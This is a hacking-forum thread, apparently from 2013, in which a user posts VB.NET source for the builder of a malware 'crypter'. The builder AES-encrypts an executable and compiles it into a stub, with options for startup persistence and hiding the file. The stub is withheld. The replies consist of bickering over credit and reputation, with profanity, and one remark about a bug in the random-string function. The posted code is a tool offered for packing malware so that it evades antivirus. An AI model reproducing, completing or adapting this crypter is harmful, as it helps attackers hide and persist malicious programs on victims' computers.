Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

VB.NET - Example Crypter - A crypter example source code

Credit https://hackforums.net/showthread.php?tid=3622113

hey "hackers" 😁

i been bored and decide to convert the above crypter to vb as its look as good example and get lots of replys
so here is it

Code
Public Class Form1

    Private Sub button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
  Dim FOpen As New OpenFileDialog() With {.Filter = "Executable Files|*.exe", _
  .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}
  If FOpen.ShowDialog() = DialogResult.OK Then
    TextBox1.Text = FOpen.FileName
  End If
    End Sub

    Private Sub button2_Click(sender As Object, e As EventArgs) Handles Button2.Click
  Dim FOpen As New OpenFileDialog() With {.Filter = "Icon Files|*.ico", _
  .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}
  If FOpen.ShowDialog() = DialogResult.OK Then
    TextBox2.Text = FOpen.FileName
  End If
    End Sub

    Private Sub button3_Click(sender As Object, e As EventArgs) Handles Button3.Click
  TextBox3.Text = RandomString(25)
    End Sub

    Private Function RandomString(length As Integer) As String
  Dim pool As String = "abcdefghijklmnopqrstuvwxyz"
  pool += pool.ToUpper()
  Dim tmp As String = ""
  Dim R As New Random()
  For x As Integer = 0 To length - 1
    tmp += pool(R.[Next](0, pool.Length)).ToString()
  Next
  Return tmp
    End Function

    Private Sub button4_Click(sender As Object, e As EventArgs) Handles Button4.Click
  Dim FSave As New SaveFileDialog() With {.Filter = "Executable Files|*.exe", _
  .InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)}
  If FSave.ShowDialog() = DialogResult.OK Then
    ' We read the source of the stub from the resources
    ' and we're storing it into a variable.
    Dim Source As String = My.Resources.Stub
    ' If the user picked a storage method (he obviously did)
    ' then replace the value on the source of the stub
    ' that will later tell the stub from where it should
    ' read the bytes.
    If RadioButton1.Checked Then
    ' User picked native resources method.
    Source = Source.Replace("[storage-replace]", "native")
    Else
    ' User picked managed resources method.
    Source = Source.Replace("[storage-replace]", "managed")
    End If
    ' Check to see if the user enabled startup
    ' and replace the boolean value in the stub
    ' which indicates if the crypted file should
    ' add itself to startup
    If CheckBox1.Checked Then
    ' User enabled startup.
    Source = Source.Replace("[startup-replace]", "true")
    Else
    ' User did not enable startup.
    Source = Source.Replace("[startup-replace]", "false")
    End If
    ' Check to see if the user enabled hide file
    ' and replace the boolean value in the stub
    ' which indicates if the crypted file should hide itself
    If CheckBox2.Checked Then
    ' User enabled hide file.
    Source = Source.Replace("[hide-replace]", "true")
    Else
    ' User did not enable hide file.
    Source = Source.Replace("[hide-replace]", "false")
    End If
    ' Replace the encryption key in the stub
    ' as it will be used by it in order to
    ' decrypt the encrypted file.
    Source = Source.Replace("[key-replace]", textBox3.Text)
    ' Read the bytes of the file the user wants to crypt.
    Dim FileBytes As Byte() = IO.File.ReadAllBytes(textBox1.Text)
    ' Encrypt the file using the AES encryption algorithm.
    ' The key is the random string the user generated.
    Dim EncryptedBytes As Byte() = Encryption.AESEncrypt(FileBytes, textBox3.Text)

    'IO.File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "/source.txt", Source)

    ' Compile the file according to the storage method the user picked.
    ' We also declare a variable to store the result of the compilation.
    Dim success As Boolean
    If RadioButton1.Checked Then
    ' User picked native resources method
    ' Check if the user picked an icon file and if it exists.
    If IO.File.Exists(TextBox2.Text) Then
    ' Compile with an icon.
    success = Compiler.CompileFromSource(Source, FSave.FileName, TextBox2.Text)
    Else
    ' Compile without an icon.
    success = Compiler.CompileFromSource(Source, FSave.FileName)
    End If
    Writer.WriteResource(FSave.FileName, EncryptedBytes)
    Else
    ' The user picked the managed resource method so we'll create
    ' a resource file that will contain the bytes. Then we will
    ' compile the stub and add that resource file to the compiled
    ' stub.
    Dim ResFile As String = IO.Path.Combine(Application.StartupPath, "Encrypted.resources")
    Using Writer As New Resources.ResourceWriter(ResFile)
    ' Add the encrypted bytes to the resource file.
    Writer.AddResource("encfile", EncryptedBytes)
    ' Generate the resource file.
    Writer.Generate()
    End Using
    ' Check if the user picked an icon file and if it exists.
    If IO.File.Exists(TextBox2.Text) Then
    ' Compile with an icon.
    success = Compiler.CompileFromSource(Source, FSave.FileName, TextBox2.Text, New String() {ResFile})
    Else
    ' Compile without an icon.
    success = Compiler.CompileFromSource(Source, FSave.FileName, Nothing, New String() {ResFile})
    End If
    ' Now that the stub was compiled, we delete
    ' the resource file since we don't need it anymore.
    IO.File.Delete(ResFile)
    End If
    If success Then
    MessageBox.Show("Your file has been successfully protected.", "Success!", MessageBoxButtons.OK, MessageBoxIcon.Information)
    End If
  End If
    End Sub
    End Class

Give Credit to Delirium
if u cant put all togther and want the project 😵
will see

Enjoy


Stub

Code
Go Convert It


I DIDNT TEST IT BUT IT SHOULD WORK !



I Delete It I Warn You
(Jul 18, 2013 02:12 AM)C3ol Wrote:  Wow 21 Views No 1 Reply

Wow I didnt now people HAD to reply when they SAW a thread. Threatening them by deleting The code will only make the thread worthless.
(Jul 18, 2013 03:23 AM)Lightsout Wrote:  Wow I Didnt Now People HAD To Reply when they SAW A Thead. Threatning them By Deleting The Code Will Only make the Thread Worthless.

Truest thing I ever heard in the whole section.
[Image: IQE6i8G.png]

BlackCap Wrote:You're even more verbose than Java.
About using GoTo's in VB/C#:
Only3 Wrote:asm use it why u shouldnt
By the sounds of it I think you just want rep. Thanks anyways
My guess is that you used on off the c# to vb.net converter avaliable everywhere on the net, then you just posted it here only for the rep. Correct?
(Jul 18, 2013 05:20 AM)Juggernauten Wrote:  My guess is that you used on off the c# to vb.net converter avaliable everywhere on the net, then you just posted it here only for the rep. Correct?

Sounds about right to me. I didn't bother posting in this thread asking a question about the source because I knew it was completely leeched.

Well I didn't know that, but im assuming that and by the way OP acts I've came to this conclusion, thanks for nothing OP, unless you can explain your source then don't post it.
Y'all are a bunch of hard asses, wtf. O.o At least he did something and gave credits, instead of you lil fuck heads who sit here giving him shit and saying he's only doing it for the rep. So fucking what if that's what he's doing it for? At least it's a contribution, even if it is a small one. Y'all need to stop being such little cunts and just say thank you or fuck right off.
(Jul 18, 2013 10:15 AM)Kōtei Wrote:  Y'all are a bunch of hard asses, wtf. O.o At least he did something and gave credits, instead of you lil fuck heads who sit here giving him shit and saying he's only doing it for the rep. So fucking what if that's what he's doing it for? At least it's a contribution, even if it is a small one. Y'all need to stop being such little cunts and just say thank you or fuck right off.

this section is like this always full with smart ass kids who dont know to code
i dont give adamn about rep , its really ajok to care about it if u have brain
lets see how many can convert it to do it u must know c#

believe me i have lots of codes that i can share but i know that its not worth it
(Jul 18, 2013 11:02 AM)C3ol Wrote:  this section is like this always full with smart ass kids who dont know to code
i dont give adamn about rep , its really ajok to care about it if u have brain
lets see how many can convert it to do it u must know c#

believe me i have lots of codes that i can share but i know that its not worth it

Well elaborate on this source in detail then. If you are actually able to.

Also how can you make a thread, then say "DIDNT TEST" and then go as far as to delete the stub because people hurt your feelings. this thread is Lol.
what else u want to push the button in ur IDE
u have the link to his thread the src is comment on every line
i didnt hurt and no hard feeling just knew whats gona happened > flaming hate etc..
if u understand what u quote ? i know this section long time before u came
You only converted the builder... Why not convert the whole project?
He had the stub converted as well, but he removed it because he didn't get enough appreciation, apparently.
(Jul 18, 2013 03:23 AM)Lightsout Wrote:  Wow I Didnt Now People HAD To Reply when they SAW A Thead. Threatning them By Deleting The Code Will Only make the Thread Worthless.

You must feel so hard and tough on a new member By Talking Like This.
(Jul 19, 2013 11:24 AM)Rooter Wrote:  You must feel so hard and tough on a new member By Talking Like This.

The guy you quoted is newer than the guy who posted the thread. O.o Just because he has more posts/rep doesn't mean he's the senior.
Your random string function will not work. R.Next() will return the same value since in VB .NET, you'll need to call Randomize() before getting a random value.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[.NET] by pro_fesnoobJul 12, 2022 05:53 AM 5 794 Jul 12, 2022 05:53 AM
Last Post: darkterror
[.NET] by VisualSoftApr 18, 2020 03:11 AM 78 13,090 Apr 18, 2020 03:11 AM
Last Post: VisualSoft
[C#] by Delirium™Feb 23, 2018 08:44 PM 368 51,501 Feb 23, 2018 08:44 PM
Last Post: cocaine_monkey